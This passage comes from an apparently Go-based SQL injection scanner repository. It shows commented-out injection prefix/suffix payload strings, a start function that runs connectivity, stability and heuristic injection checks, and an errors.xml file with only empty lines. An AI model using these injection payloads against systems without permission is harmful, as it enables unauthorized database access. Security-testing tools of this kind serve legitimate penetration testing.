262 | //'pre_suf_76': {'prefix': ']-(SELECT 0 WHERE [RANDNUM]=[RANDNUM]',
263 | //'suffix': ')|[[ORIGINAL]'},
264 | //
265 | //'pre_suf_77': {'prefix': "' IN BOOLEAN MODE)",
266 | //'suffix': '#'}
267 | //}
268 |
--------------------------------------------------------------------------------
/tools/start.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | func start(conf *ReqConf) {
4 | // 连接性检查,初始化result
5 | isConnect, err := checkConnect(conf)
6 | if isConnect == false || err != nil {
7 | return
8 | }
9 | // 稳定性检查,更新result
10 | isStability, err := checkStability(conf)
11 | if isStability == false || err != nil {
12 | return
13 | }
14 | // 启发式sql注入检测
15 | injParam, dbms, err := heuristicCheckSqlInjection(conf)
16 | if err != nil{
17 | Error.Println(err)
18 | }
19 | Info.Println(injParam, dbms)
20 | }
21 |
22 |
23 |
--------------------------------------------------------------------------------
/tools/xml/errors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 |
--------------------------------------------------------------------------------